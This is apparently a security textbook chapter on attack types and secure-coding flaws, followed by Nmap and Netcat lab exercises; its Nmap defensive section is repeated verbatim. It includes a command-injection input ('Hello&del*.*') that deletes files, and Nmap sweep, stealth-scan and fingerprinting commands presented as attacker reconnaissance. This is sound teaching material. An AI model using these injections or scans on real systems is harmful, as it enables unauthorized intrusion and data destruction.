An attack is an act that takes advantage of a vulnerability to compromise a controlled system. It is accom-plished by a threat agent that damages or steals an organization’s information or physical asset. A vulner-ability is an identified weakness in a controlled system, where controls are not present or are no longer effective. Unlike threats, which are always present, attacks only exist when a specific act may cause a loss. For example, the threat of damage from a thunderstorm is present throughout the summer in many places, but an attack and its associated risk of loss only exist for the duration of an actual thunderstorm. The following sections discuss each of the major types of attacks used against controlled systems.

103

INFO

RMAT

ION

SYS

TEM

SECU

RITY

Malicious Code

The malicious code attack includes the execution of viruses, worms, Trojan horses, and active Web scripts with the intent to destroy or steal information. The state-of-the-art malicious code attack is the polymor-phic, or multivector, worm. These attack programs use up to six known attack vectors to exploit a variety of vulnerabilities in commonly found information system devices. Perhaps the best illustration of such an attack remains the outbreak of Nimda in September 2001, which used five of the six vectors to spread itself with startling speed. TruSecure Corporation, an industry source for information security statistics and solutions, reports that Nimda spread to span the Internet address space of 14 countries in less than 25 minutes.

VECTOR DESCRIPTION

IP & SCAN ATTACK The infected system scans a random or local range of IP addresses and targets any of several vulnerabil-ities known to hackers or left over from previous ex-ploits such as Code Red, Back Orifice, or PoizonBox.

Web browsing If the infected system has write access to any Web pages, it makes all Web content files (.html, .asp, .cgi, and others) infectious, so that users who browse to those pages become infected.

Virus Each infected machine infects certain common executable or script files on all computers to which it can write with virus code that can cause infection.

Unprotected shares Using vulnerabilities in file systems and the way many organizations configure them, the infected machine copies the viral component to all locations it can reach.

Mass mail By sending e-mail infections to addresses found in the address book, the infected machine infects many users, whose mail-reading programs also automatically run the program and infect other systems.

Simple Network Management Protocol (SNMP) By using the widely known and common passwords that were employed in early versions of this proto-col (which is used for remote management of net-work and computer devices), the attacking program can gain control of the device. Most vendors have closed these vulnerabilities with software upgrades.

104

INFO

RMATIO

N SYSTEM

SECU

RITY

Hoaxes

A more devious attack on computer systems is the transmission of a virus hoax with a real virus attached. When the attack is masked in a seemingly legitimate message, unsuspecting users more readily distribute it. Even though these users are trying to do the right thing to avoid infection, they end up sending the attack on to their coworkers and friends and infect- ing many users along the way.

Back Doors

Using a known or previously unknown and newly discovered access mechanism, an attacker can gain access to a system or network resource through a back door. Sometimes these entries are left behind by system designers or maintenance staff, and thus are called trap doors.34 A trap door is hard to detect, because very often the programmer who puts it in place also makes the access exempt from the usual audit logging fea-tures of the system.

Denial-of-Service (DoS) and Distributed Denial-of-Service (DDoS)

In a denial-of-service (DoS) attack, the attacker sends a large number of connection or information requests to a target So many requests are made that the target system becomes overloaded and cannot respond to legitimate requests for service. The system may crash or simply become unable to perform ordinary func-tions.

A distributed denial- of-service (DDoS) is an attack in which a coordinated stream of requests is launched against a target from many locations at the same time. Most DDoS attacks are preceded by a preparation phase in which many systems, perhaps thousands, are compromised. The compromised machines are turned into zombies, machines that are directed remotely (usually by a transmitted command) by the attack-er to participate in the attack. DDoS attacks are the most difficult to defend against, and there are presently no controls that any single organization can apply.

There are, however, some cooperative efforts to enable DDoS defenses among groups of service providers; among them is the Consensus Roadmap for Defeating Distributed Denial of Service Attacks.35 To use a popular metaphor, DDoS is considered a weapon of mass destruction on the Internet. The MyDoom worm attack of early 2004 was intended to be a DDoS attack against www.sco.com (the Web site of a vendor of a UNIX operating system) that lasted from February 1, 2004 until February 12, 2004. Allegedly

 

105

INFO

RMAT

ION

SYS

TEM

SECU

RITY

Spoofing

Spoofing is a technique used to gain unauthorized access to computers, wherein the intruder sends messages with a source IP address that has been forged to indicate that the messages are coming from a trusted host. To engage in IP spoofing, hackers use a variety of techniques to obtain trusted IP address-es, and then modify the packet headers to insert these forged addresses.38 Newer routers and firewall arrangements can offer protection against IP spoofing.

Man-in-the-Middle

In the well-known man-in-the-middle or TCP hijacking attack, an attacker monitors (or sniffs) packets from the network, modifies them, and inserts them back into the network. This type of attack uses IP spoofing to enable an attacker to impersonate another entity on the network. It allows the attacker to eavesdrop as well as to change, delete, reroute, add, forge, or divert data. A variant of TCP hijacking, involves the interception of an encryption key exchange, which enables the hacker to act as an invisible man-in-the-middle—that is, an eavesdropper—on encrypted communications. Figure 2-13 illustrates these attacks by showing how a hacker uses public and private encryption keys to intercept messages

106

INFO

RMATIO

N SYSTEM

SECU

RITYSpam

Spam is unsolicited commercial e-mail. While many consider spam a trivial nuisance rather than an attack, it has been used as a means of enhancing malicious code attacks. In March 2002, there were reports of mali-cious code embedded in MP3 files that were included as attachments to spam.40 The most significant con-sequence of spam, however, is the waste of computer and human resources. Many organizations attempt to cope with the flood of spam by using e-mail filtering technologies. Other organizations simply tell the users

of the mail system to delete unwanted messages.

107

INFO

RMAT

ION

SYS

TEM

SECU

RITY

Mail Bombing

Another form of e-mail attack that is also a DoS is called a mail bomb, in which an attacker routes large quantities of e-mail to the target. This can be accomplished by means of social engineering (to be dis-cussed shortly) or by exploiting various technical flaws in the Simple Mail Transport Protocol (SMTP). The target of the attack receives an unmanageably large volume of unsolicited e-mail. By sending large e-mails with forged header information, attackers can take advantage of poorly configured e-mail sys-tems on the Internet and trick them into sending many e-mails to an address chosen by the attacker. If many such systems are tricked into participating in the event, the target e-mail address is buried under thousands or even millions of unwanted e-mails.

Sniffers

A sniffer is a program or device that can monitor data traveling over a network. Sniffers can be used both for legitimate network management functions and for stealing information. Unauthorized sniffers can be extremely dangerous to a network’s security, because they are virtually impossible to detect and can be inserted almost anywhere. This makes them a favor- ite weapon in the hacker’s arsenal. Sniffers often work on TCP/IP networks, where they’re sometimes called packet sniffers.41 Sniffers add risk to the network, because many systems and users send information on local networks in clear text. A sniffer program shows all the data going by, including passwords, the data inside files—such as word-processing docu-ments—and screens full of sensitive data from applications.

108

INFO

RMATIO

N SYSTEM

SECU

RITY

Social Engineering

In the context of information security, social engineering is the process of using social skills to convince people to reveal access credentials or other valuable information to the attacker. There are several social engineering techniques, which usually involve a perpetrator posing as a person higher in the organization-al hierarchy than the victim. To prepare for this false representation, the perpetrator may have used social engineering tactics against others in the organization to collect seemingly unrelated information that, when used together, makes the false representation more credible. For instance, anyone can check a company’s Web site, or even call the main switchboard to get the name of the CIO; an attacker may then obtain even more information by calling others in the company and asserting his or her (false) authority by mentioning the CIO’s name. Social engineering attacks may involve individuals posing as new employees or as current employees requesting assistance to prevent getting fired. Sometimes attackers threaten, cajole, or beg to sway the target

Phishing

While this attack may seem crude to experienced users, the fact is that many e-mail users have fallen for these tricks (refer to CERT Advisory CA-91.03). These tricks and similar variants are called phishing attacks. Phishing is an attempt to gain personal or financial information from an individual, usually by posing as a le-gitimate entity. Phishing attacks gained national recognition with the AOL phishing attacks that were widely reported in the late 1990s, in which individuals posing as AOL technicians attempted to get logon creden-tials from AOL subscribers. The practice became so widespread that AOL added a warning to all official correspondence that no one working at AOL would ever ask for password or bill- ing information.

A variant is spear phishing, a label that applies to any highly targeted phishing attack. While normal phish-ing attacks target as many recipients as possible, a spear phisher sends a message that appears to be from an employer, a colleague, or other legitimate correspondent, to a small group or even one specific person. This attack is sometimes used to target those who use a certain product or Web site.

Pharming

Pharming is “the redirection of legitimate Web traffic (e.g., browser requests) to an illegitimate site for the purpose of obtaining private information. Pharming often uses Trojans, worms, or other virus technologies to attack the Internet browser’s address bar so that the valid URL typed by the user is modified to that of the illegitimate Web site. Pharming may also exploit the Domain Name System (DNS) by causing it to transform the legitimate host name into the invalid site’s IP address; this form of pharming is also known as DNS cache poisoning.

Timing Attack

A timing attack explores the contents of a Web browser’s cache and stores a malicious cookie on the client’s system. The cookie (which is a small quantity of data stored by the Web browser on the local system, at the direction of the Web server) can allow the designer to collect information on how to access password-pro-tected sites.45 Another attack by the same name involves the interception of cryptographic elements to determine keys and encryption algorithms.

109

INFO

RMAT

ION

SYS

TEM

SECU

RITY

Secure Software Development

Systems consist of hardware, software, networks, data, procedures, and people using the system. Many of the information security issues described in this module have their root cause in the software elements of the system. Secure systems require secure, or at least securable, software. The development of systems and the software they use is often accomplished using a methodology, such as the systems development life cycle (SDLC). Many organizations recognize the need to include planning for security objectives in the SDLC they use to create systems, and have put in place procedures to create software that is more able to be deployed in a secure fashion. This approach to software development is known as software assurance, or SA.

This statement could be about software development in the early part of the 21st century, but actually dates back to 1975, before information security and software assurance became crit- ical factors for many organizations. In this same article, the authors provide insight into what are now commonplace security principles:

1. Economy of mechanism: Keep the design as simple and small as possible. Fail-safe defaults: Base ac-cess decisions on permission rather than exclusion.

2. Complete mediation: Every access to every object must be checked for authority.

3. Open design: The design should not be secret, but rather depend on the possession of keys or pass-words.

4. Separation of privilege: Where feasible, a protection mechanism should require two keys to unlock, rather than one.

5. Least privilege: Every program and every user of the system should operate using the least set of privi-leges necessary to complete the job.

6. Least common mechanism: Minimize mechanisms (or shared variables) common to more than one user and depended on by all users.

7. Psychological acceptability: It is essential that the human interface be designed for ease of use, so that users routinely and automatically apply the protection mechanisms correctly.

Software Development Security Problems

Some software development problems that result in software that is difficult or impossible to deploy in a secure fashion have been identified as “deadly sins in software security.”51 These twenty problem areas in software development (which is also called software engineering) were originally categorized by John Viega, upon request of Amit Youran, who at the time was the Director of the Department of Homeland Security’s National Cyber Security Division. These problem areas are described in the following sections.

110

INFO

RMATIO

N SYSTEM

SECU

RITY

Buffer Overruns

Buffers are used to manage mismatches in the processing rates between two entities involved in a commu-nication process. A buffer overrun (or buffer overflow) is an application error that occurs when more data is sent to a program buffer than it is designed to handle. During a buffer overrun, an attacker can make the tar-get system execute instructions, or the attacker can take advantage of some other unintended consequence of the failure. Sometimes this is limited to a denial-of-service attack. In any case, data on the attacked system loses integrity.52 In 1998, Microsoft encountered the following buffer overflow problem:

Microsoft acknowledged that if you type a res:// URL (a Microsoft-devised type of URL) which is longer than 256 characters in Internet Explorer 4.0, the browser will crash. No big deal, except that anything after the 256th character can be executed on the computer. This maneuver, known as a buffer overrun, is just about the oldest hacker trick in the book. Tack some malicious code (say, an executable version of the Penti-um-crashing FooF code) onto the end of the URL, and you have the makings of a disaster.

Command Injection

Command injection problems occur when user input is passed directly to a compiler or interpreter. The underlying issue is the developer’s failure to ensure that command input is validated before it is used in the program. Perhaps the simplest example involves the Windows command shell:

@echo off set /p myVar=”Enter the string>” set someVar=%myVar% echo %somevar%

These simple commands ask the user to provide a string and then simply set another variable to the value and then display it. However, an attacker could use the command chaining character “&” to append other commands to the string the user provides (Hello&del*.*).

Cross-site Scripting

Cross site scripting (or XSS) occurs when an application running on a Web server gathers data from a user in order to steal it. An attacker can use weaknesses in the Web server environment to insert commands into a user’s browser session, so that users ostensibly connected to a friendly Web server are, in fact, sending information to a hostile server. This allows the attacker to acquire valuable information, such as account cre-dentials, account numbers, or other critical data. Often an attacker encodes a malicious link and places it in the target server, making it look less suspicious. After the data is collected by the hostile application, it sends what appears to be a valid response from the intended server.

Failure to Handle Errors

What happens when a system or application encounters an scenario that it is not prepared to handle? Does it attempt to complete the operation (read- ing or writing data or performing calculations)? Does it issue a cryptic message that only a programmer could understand? Or does it simply stop functioning? Failure to handle errors can cause a variety of unexpected system behaviors. Programmers are expected to anticipate problems and prepare their application code to handle them

111

INFO

RMAT

ION

SYS

TEM

SECU

RITY

Failure to Protect Network

Traffic With the growing popularity of wireless networking comes a corresponding increase in the risk that wirelessly transmitted data will be intercepted. Most wireless networks are installed and operated with little or no protection for the information that is broadcast between the client and the network wireless access point. This is especially true of public networks found in coffee shops, bookstores, and hotels. With-out appropriate encryption (such as that afforded by WPA), attackers can intercept and view your data.

Traffic on a wired network is also vulnerable to interception in some situations. On networks using hubs instead of switches, any user can install a packet sniffer and collect communications to and from users on that network. Periodic scans for unauthorized packet sniffers, unauthorized connections to the network, and general awareness of the threat can mitigate this problem.

Failure to Store and Protect Data Securely

Storing and protecting data securely is a large enough issue to be the core subject of this entire text. Pro-grammers are responsible for integrating access controls into, and keeping secret information out of, pro-grams. Access controls, the subject of later modules, regulate who, what, when, where, and how indivi- duals and systems interact with data. Failure to properly implement sufficiently strong access controls makes the data vulnerable. Overly strict access controls hinder business users in the performance of their duties, and as a result the controls may be administratively removed or bypassed.

The integration of secret information—such as the “hard coding” of passwords, encryption keys, or other sensitive information—can put that information at risk of disclosure.

Failure to Use Cryptographically Strong Random Numbers.

Most modern crypto systems, like many other computer systems, use random number generators. However, a decision support system using random and pseudo-random numbers for Monte Carlo method forecasting does not require the same degree of rigor and the same need for true randomness as a system that seeks to implement cryptographic procedures. These “random” number generators use a mathematical algorithm, based on a seed value and another other system component (such as the computer clock) to simulate a random number. Those who understand the workings of such a “random” number generator can predict particular values at particular times.

Format String Problems

Computer languages often are equipped with built-in capabilities to reformat data while they’re outputting it. The formatting instructions are usually written as a “format string.” Unfortunately, some programmers may use data from untrusted sources as a format string.56 An attacker may embed characters that are meaning- ful as formatting directives (e.g., %x, %d, %p, etc.) into malicious input; if this input is then inter-preted by the program as formatting directives (such as an argument to the C printf function), the attacker may be able to access information or overwrite very targeted portions of the program’s stack with data of the attacker’s choosing.

112

INFO

RMATIO

N SYSTEM

SECU

RITY

Neglecting Change Control

Developers use a process known as change control to ensure that the working system delivered to users represents the intent of the developers. Early in the development process, change control ensures that developers do not work at cross purposes by altering the same programs or parts of programs at the same time. Once the system is in production, change control processes ensure that only authorized changes are introduced and that all changes are adequately tested before being released.

Improper File Access

If an attacker changes the expected location of a file by intercepting and modifying a program code call, the attacker can force a program to use files other than the ones the program is supposed to use. This type of attack could be used to either substitute a bogus file for a legitimate file (as in password files), or trick the system into running a malware executable. The potential for damage or disclosure is great, so it is critical to protect not only the location of the files but also the method and communications channels by which these files are accessed.

Improper Use of SSL

Programmers use Secure Sockets Layer (SSL) to transfer sensitive data, such as credit card numbers and other personal information, between a client and server. While most programmers assume that using SSL guarantees security, unfortunately they more often than not mishandle this technology. SSL and its succes-sor, Transport Layer Security (TLS), both need certificate validation to be truly secure. Failure to use Hyper-text Transfer Protocol Secure (HTTPS), to validate the certificate authority and then validate the certificate itself, or to validate the information against a certificate revocation list (CRL), can compromise the security of SSL traffic

Information Leakage

One of the most common methods of obtaining inside and classified information is directly or indirectly from an individual, usually an employee. The World War II military poster warned that “loose lips sink ships,” emphasizing the risk to naval deployments from enemy attack should the sailors, marines, or their families disclose the movements of these vessels. It was a widely-shared fear that the enemy had civilian operatives waiting in bars and shops at common Navy ports of call, just waiting for the troops to drop hints about where they were going and when. By warning employees against disclosing information, organizations can protect the secrecy of their operation.

Use of Weak Password-Based Systems Failure to require sufficient password strength, and to control incor-rect password entry, is a serious security issue.

Password Cracking time vs length

Password cracking length with complexity

113

INFO

RMAT

ION

SYS

TEM

SECU

RITY

 

 

PART 2 LAB Excercises

LAB 1 Nmap Service DetectionLAB 2 NETCATLAB 3 WIRESHARK Password Sniffing

115

PART

2LA

B E

XCER

CISE

S

NMAP LAB

Nmap, short for Network Mapper, is a very versatile security tool that should be included in every profession-al’s toolkit. Nmap is an open source utility for network exploration, security scanning and auditing. It comes with a very wide range of options that can make the utility more robust and can add or change features to your specifications.

Nmap was created by Gordon Lyon, a.k.a. Fyodor Vaskovich, and first published in 1997. Since the source code has been available the software has been expanded greatly and is currently at version 4.85. In addition to improvements in the functionality of the program, graphical user interfaces and support for numerous operating systems have been developed. Currently Nmap can run on Linux, Windows, OS X, FreeBSD, Solaris, Amiga, HP-UX, and others. GUI versions are also available on most of these systems along with the com-mand line versions. There are also implementations that can take advantage of web browsing to allow for access to Nmap via a web browser.

Nmap is very popular among security professionals as well as black hat hackers because of its numerous uses. The most recent version of the program can be used to check for network host discovery, port scan-ning, version and OS detection, network inventory, ping sweeps, and detailing logging mechanisms. These various uses are all important, but what the most basic sections of the program deal with are host discovery and port scanning. Nmap can be used to check to see what other devices and machines are connected to the network. It can also be used to check which ports on these devices are open and closed. The results of these type scans can be saved to a log file which can be analyzed at a later time or saved for future compari-son.

Nmap is a tool that can be used for good as well as for evil. In this lab we will focus on showing the practical uses for attack, defense, and forensic analysis. Complete documentation and download information can be found at http://nmap.org/ as well as much more information pertaining to the use of the product.

Nmap is often used in combination with other open source security tools such as Snort, Nessus, and Wire-shark to help secure networks from attacks. In combination with these other tools a powerful security suite can be established that can help to ensure protection of networks. Other important techniques to follow include frequently patching all systems, routine security audits, and enforcement of security policies.

Objectives:

To learn how to use Nmap for offensive, defensive & forensic purposes.

To become proficient in the use of Nmap.

116

PART 2

LAB EXCERCISES

LAB EXPERIMENT

There is one Linux computer used for scanning with Nmap installed.

There will be one target computer with IP 192.168.1.4. (A PC running Windows XP with Internet Explorer 6 and Adobe Reader v7 installed but not updated. (Some ports have already been opened.)

There will be a second target computer with IP 192.168.1.250. (A PC running Windows XP with Internet Ex-plorer 7 and Adobe Reader v9.1 installed and updated. Unnecessary ports have been closed.

All three computers are connected via switch.

117

PART

2LA

B E

XCER

CISE

S

Part 1: Nmap as an Offensive Tool

It is not uncommon for an attacker to use the Nmap tool to determine the weaknesses of its target. Offen-sively, Nmap can efficiently and easily find the target, find out what ports (with what protocol) are open, discover the target OS, and cover its tracks to avoid intrusion detection.

In the following tasks, you will use the Nmap tool to perform all of the above tasks. In task 2, you will see how one can defend against the following scans.

Task 1.1: Familiarizing oneself with the first target computer

Before starting this lab, a target computer has been set up for you. This PC is running an un-upgraded ver-sion of Windows XP. Internet Explorer 6 and Adobe Reader v7 has been installed as well. For demonstration purposes, a few ports have also been opened, but it will be your job to identify them. Take time to familiarize yourself with the computer and these programs specifically. This target computer has an IP of 192.168.1.4.

There is also another running computer connected to the network that will be used in task number 2.

Task 1.2: Finding the target host

Intruders have the ability to use Nmap to scan entire networks to look for potential targets. This can be done by “ping sweeping” with the –sp command. When using this command, Nmap sends in ICMP echo and a TCP ACK flag to each host that it scans. If Nmap receives a response, it notes that IP as being a running host and then continues its scanning process. The following command will scan for all hosts on the 192.168.1.0 network.

In the command line, run # nmap -sP 192.168.1.*

Nmap will return with its scanning results after a short wait. Record the results in your report. There is also another, more specific, way to ping your targeted computers. In some scenarios, a host may be blocking some sorts of traffic, so specifying a specific port for the scan may be necessary. In this lab, we’ll be scanning on port 80 since that is normally open for http traffic. To specify a specific port, the –PT command is used.

In the command line, run # nmap –sP –p 80 192.168.1.*

For Nmap to determine if a host is running, the specified port (in this case 80) does not need to be open.

Task 1.3: Port Scanning

The most simple port scan is a TCP connect scan. This attempts to complete a normal 3- way handshake with the targeted computer. You can run this scan on a specific IP (which was scanned in the last task) with the –sT command.

In the command line, run # nmap –sT 192.168.1.4

118

PART 2

LAB EXCERCISES

This will scan for open ports on that specific host. Be sure to record the results from this scan. On the down side, this type of scan is very easy to detect since the target host will log the connection by the attacker. You can check in the windows event logs to see if a log was created on the target computer.

Task 1.4: OS Fingerprinting

It is usually important for an attacker to know what OS version is running on the target computer. This is done by using the –O command, which must be used in conjunction with a port scan (-sT or –sS which will be covered later).

In the command line, run # nmap –sT –O 192.168.1.4

Nmap will scan for specific ports, and then extrapolate the most likely target OS from the open port infor-mation. Record the resulting Nmap data. In this case, it will most likely return windows XP (with no service packs installed).

Task 1.5: Port Scanning Part 2

Since the –sT command can be detected easily, there is an alternative method. Stealth port scanning is used to avoid logs from being created. The targeted computer doesn’t log the connection because the 3-way handshake never finishes. Instead of finishing the handshake, the attacker sends an RST flag to disconnect the connection instead of acknowledging the connection. This type of stealth port scan is done by using the –sS command.

In the command line, run # nmap –sS 192.168.1.4Record the Nmap results and you can check to make sure that no log was created on the target computer.

Task 1.6: Port Scanning Part 3

If an attackers needs to know what ports are open to UDP connections, Nmap can also perform a UDP scan using the –sU command.

In the command line, run # nmap –sU 192.168.1.4

Keep in mind that this scan can be more time consuming when compared with the TCP scans. Record the results of this Nmap scan.

Additional scanning techniques and their particular usage can be found at http://nmap.org. For extra credit, find two more scan types and run them against the target computer. Then, during task two, run the same additional scans to see the differences between the two.

119

PART

2LA

B E

XCER

CISE

S

Part 2: Nmap as a Defensive Tool

Nmap was originally designed as a tool to defend against attackers instead of being used a tool for attack-ers. Because Nmap can do network scans and point out vulnerabilities that may exist in networks, its original purpose was to point out these vulnerabilities so that they could be properly patched by network and sys-tem administrators. Unfortunately Nmap can also be used to gain access and find vulnerabilities in networks for system administrators and attackers alike so it is important that system administrators use Nmap to prevent attacks.

If a system or network administrator was to run an Nmap scan on their own network or specific they would see exactly what an attacker would see that performed the same scan on the network. Using the infor-mation that is retrieved from the scan an attacker can exploit and implement the information in an attack against the network. A network administrator can scan their own network and with the information re-trieved they can fix the problems that they can find. This is how Nmap is utilized to defend against attacks.

Task 2.1: Familiarizing oneself with the network

In the command line, run # nmap –sP –p80 192.168.1.*

As before this command will sweep the entire 192.168.1.0 network looking for machines attached to the network. The scan will utilize port 80 to find computers attached to the network. This scan should return the same results as the previous scan for task 1.2.

This scan will also reveal any devices that have been attached to the network that an administrator may not have knowledge of. An unannounced device on the network could be an attacker connected to the net-work. An administrator can deal with any foreign devices as necessary to secure the network.

Task 2.2: Defending against port scans

Nmap will do a port scan on the computers in the IP address range retrieving the open ports on the com-puters that it finds. Knowing what ports are open on a computer an attacker can determine services running on the computer. An attacker can then take this information and formulate an attack exploiting vulnerable ports and the known services than utilize those ports. A system or network administrator can Nmap their own systems to find all of the open ports and find out which ones are being utilized. If there are open ports that are not being used then they should be closed to prevent possible attacks. By doing this, a system or network administrator can check all of the services that are running and make sure there are no background applications that are opening ports that are unknown to the user. These ports could have been open my malicious software to allow an attacker entrance to a system so it would be imperative that these ports be closed so that they cannot be used in an attack against the system.

In the command line, run # nmap –sT 192.168.1.4

120

PART 2

LAB EXCERCISES

Task 2.3: Patching Vulnerabilities

An administrator is responsible for preventing attacks on a system or network through vulnerabilities. Most attacks can be prevented by keeping software up to date. By installing updates and patches administrators can eliminate risks and vulnerabilities pertaining to the old versions of the software. Nmap can reveal infor-mation about operating systems, applications running services, and version numbers. All of this information can be used to formulate an attack against a system. By keeping a system up to date most of the potential risk against an attack with data gathered by Nmap can be avoided because attackers cannot take advantage of old software bugs and known vulnerabilities.

On the target computer, open Adobe Reader. Once Adobe Reader has launched, proceed to update it to the newest version by selecting search for updates under the help menu.

After Adobe Reader has been updated, open up Internet Explorer and go to the Tools menu. Under the Tools menu select Windows Update. This will update Internet Explorer and the entire Windows Installation.

These are just two examples used in this lab. Remember that all software on your system needs to be contin-ually updated to prevent risk of attacks.

Task 2.4: Comparing Systems

The third computer on the network is identical to the target computer except it has been updated and the unnecessary ports have been closed.

In the command line, run # nmap –sT –sV –O 192.168.1.250

This command will run an Nmap port scan to detect the operating system of the device as well as the ver-sions of software that are installed. Record these results.

In the command line, run # nmap –sT –sV –O 192.168.1.4

This command will run the same scan on the computer that was updated in this lab. Compare the results between the two scans. If the lab was performed correctly then the scans should be identical. If the results are different then go back and find out why they are different and attempt to make them identical.

121

PART

2LA

B E

XCER

CISE

S

Part 2: Nmap as a Defensive Tool

Nmap was originally designed as a tool to defend against attackers instead of being used a tool for attack-ers. Because Nmap can do network scans and point out vulnerabilities that may exist in networks, its original purpose was to point out these vulnerabilities so that they could be properly patched by network and sys-tem administrators. Unfortunately Nmap can also be used to gain access and find vulnerabilities in networks for system administrators and attackers alike so it is important that system administrators use Nmap to prevent attacks.

If a system or network administrator was to run an Nmap scan on their own network or specific they would see exactly what an attacker would see that performed the same scan on the network. Using the infor-mation that is retrieved from the scan an attacker can exploit and implement the information in an attack against the network. A network administrator can scan their own network and with the information re-trieved they can fix the problems that they can find. This is how Nmap is utilized to defend against attacks.

Task 2.1: Familiarizing oneself with the network

In the command line, run # nmap –sP –p80 192.168.1.*

As before this command will sweep the entire 192.168.1.0 network looking for machines attached to the network. The scan will utilize port 80 to find computers attached to the network. This scan should return the same results as the previous scan for task 1.2.

This scan will also reveal any devices that have been attached to the network that an administrator may not have knowledge of. An unannounced device on the network could be an attacker connected to the net-work. An administrator can deal with any foreign devices as necessary to secure the network.

Task 2.2: Defending against port scans

Nmap will do a port scan on the computers in the IP address range retrieving the open ports on the com-puters that it finds. Knowing what ports are open on a computer an attacker can determine services running on the computer. An attacker can then take this information and formulate an attack exploiting vulnerable ports and the known services than utilize those ports. A system or network administrator can Nmap their own systems to find all of the open ports and find out which ones are being utilized. If there are open ports that are not being used then they should be closed to prevent possible attacks. By doing this, a system or network administrator can check all of the services that are running and make sure there are no background applications that are opening ports that are unknown to the user. These ports could have been open my malicious software to allow an attacker entrance to a system so it would be imperative that these ports be closed so that they cannot be used in an attack against the system.

In the command line, run # nmap –sT 192.168.1.4

122

PART 2

LAB EXCERCISES

Part 3: Cyber Forensics Using Nmap

So far in this lab, we’ve seen how Nmap can be used to identify services and even programs running on networked workstations. Now, we’re going to take those skills and apply them to post exploitation cyber forensics.

Imagine that you’re a network administrator. You receive an alert from your IDS that indicates that there’s a malicious attack happening, and it’s originating from an IP within your network. Right now, all you know is that a machine in your network is acting maliciously, but you don’t know if it’s the attacker or one of your own machines, and how the attack is taking place. The process going forward will be:

1. Identifying the indicated system

2. Determining if the system is infected or if the user is the attacker

3. Identifying an appropriate course of action to remedy the situation

At the end of the process, a clearly indicated path for how to continue will appear, and depending on the situation the scans done may be used as evidence against the attacker. For the purposes of this lab, we will be using Microsoft Virtual PC to set up temporary systems to scan. We will first use System A, and then Sys-tem B. For the lab report, be sure to use the “-oX filename.xml” switch in Nmap to output the scans into XML format, and be sure to include the XML in the final report. It’s a good idea to always use this command for logging purposes, and to be used as evidence in the future.

Task 1: Identifying the Indicated System

In our scenario, the IDS alert presents you with an IP address. Should the IP address not be indicated, follow the steps in defensive use of Nmap or other methods to determine which machine is acting abnormally.

The purpose behind identifying the indicated systems is to see if the system is possibly one of the machines that you deployed to your environment, or one the attacker is using on your network which they brought in from the outside. A basic Nmap scan will reveal the details of the system, and from there you can make an educated guess as to its status.

1. Start “System A” on the target computer, and then turn off the monitor. Try to avoid “peeking” at the sys-tem as it resumes from its paused state.

2. From the scanning computer, start a command line and use the command “nmap –O –v –oX FILENAME.xml target” where FILENAME is a filename you want that will be unique, and target is the target computer’s IP address. This will perform a standard Nmap scan, including operating system detection. Make sure to include this scan in your report.

123

PART

2LA

B E

XCER

CISE

S

Assesment Question

1. Assume you’re running a Windows XP only environment. Is the operating system the Nmap scan re-turned consistent with that kind of environment?

2. What does the target operating system reveal about the attacker?

Task 1.2: Determining if the system is infected or if the user is the attacker

Now that we’ve determined that the indicated system is running some form of Linux, we can safely assume that the user is the attacker. Based on this well founded assumption, a search of the facility where IPs like the one being used are issued (specifically which router the attacker is connected to) will reveal the attacker.

But what if the attacker has simply infected one of the machines? Do they have control over the machine, or is it simply a “dumb” worm infection with no outside command control? The answer to that question will determine whether the environment may be under a concentrated attack, or simply the victim of a random worm infection. We will focus on this question next.

Nmap comes with a script by default called “malware”. This script identifies open ports and the services run-ning behind them. An anomalous open port might be an indication that a command and control channel is in existence telling the computer how to attack the network.

1. Turn the monitor of the target computer back on. Select “close...” from the File menu, and then “Save state”. This will ensure the next lab has the exact same experience.

2. Start “System B” and turn off the monitor. No cheating!

3. On the scanning computer, use the following command: “nmap –O –script=malware –v –oX FILENAME.xml target” Use the same instructions as before for the filename and target.

4. Record the results.

Assesment Question

3. Are there any ports open that seem suspicious? What do those ports indicate?

Task 1.3: Identifying an appropriate course of action to remedy the situation

Now that we’ve uncovered two active infiltrations of the network, the next step is to determine how to minimize the damage to the rest of the network, and at the same time bring those responsible to justice. However, that question falls outside the scope of this lab, which was specifically getting familiar with Nmap as a tool. Armed with the information uncovered from the network forensics, however, the job of finding the attacker may become much easier.

124

PART 2

LAB EXCERCISES

Assesment Question

4. What does the operating system scanned as “System A” reveal about the attacker?

5. What does the operating system scanned as “System B” and the open ports reveal about the attacker?

Conclusion

In this lab, we have learned the practical uses of Nmap for defense, attack, and forensic analysis. First, we used Nmap as an offensive tool to find the target, find out what ports (with what protocol) were open, dis-cover the target OS, and cover its tracks to avoid intrusion detection. Then we used Nmap as a defensive tool to defend against port scans, patch vulnerabilities, and compare systems. And finally, we utilized the Nmap tool to identify an indicated system, determine if the system is infected or if the user is the attacker, and identifying an appropriate course of action to remedy the situation.

The three capabilities of Nmap we have explored make it a very useful tool for security professionals and cy-ber forensics analysts as well as black hat hackers. In exploring these three capabilities of this tool, we have covered most of what Nmap has to offer. This versatile tool can also be used in conjunction with other open source security tools such as Snort, Nessus, and Wireshark to help secure networks from attacks.

Analysis Questions:

1. Please discuss your experience using Nmap in all three contexts in terms of usability, functionality, ease of learning, and functionality.

2. In part 3, task 2, the –v command is used. What does this command do in Nmap?

3. In Nmap, you can do a scan of a specific IP address as seen in parts 1 and 2. Is there an Nmap command that lists all of the possible targets you could scan?

4. What command in Nmap would you use to only scan specified ports?

5. What was Nmap originally created to do?

6. In part three, we learned how to ensure that the output of the Nmap scans are in XML format using the -oX filename.xml command. How can we receive output in XML?

Deliverables:

7. Provide answers to the analysis questions, as well as the questions in Lab Day 2.

8. Write a professional report to provide the results of the processes of using Nmap offensively, defensively, and forensically. Describe the lab experience and discuss and issues that were faced while completing this lab. Please provide screenshots that aid in presenting results.

125

PART

2LA

B E

XCER

CISE

S

NETCAT LAB

Introduction to using Netcat

To learn basic features of Netcat that using in security field.

Introduction :

Netcat is a wonderfully versatile tool which has been dubbed the “hackers’ Swiss army knife”.

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP ;this dual functionality suggests that Netcat runs in two modes: “client” and “server”. Netcat is designed to be a dependable “back-end” device that can be used candidly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

Its list of features includes port scanning, transferring files, and port listening, and it can be used as a back-door.

Major features of Netcat are:

1. Outbound or inbound connections, TCP or UDP, to or from any ports

2. Full DNS forward/reverse checking, with appropriate warnings

3. Ability to use any local source port

4. Ability to use any locally-configured network source address

5. Built-in port-scanning capabilities, with randomization

6. Built-in loose source-routing capability

7. Can read command line arguments from standard input

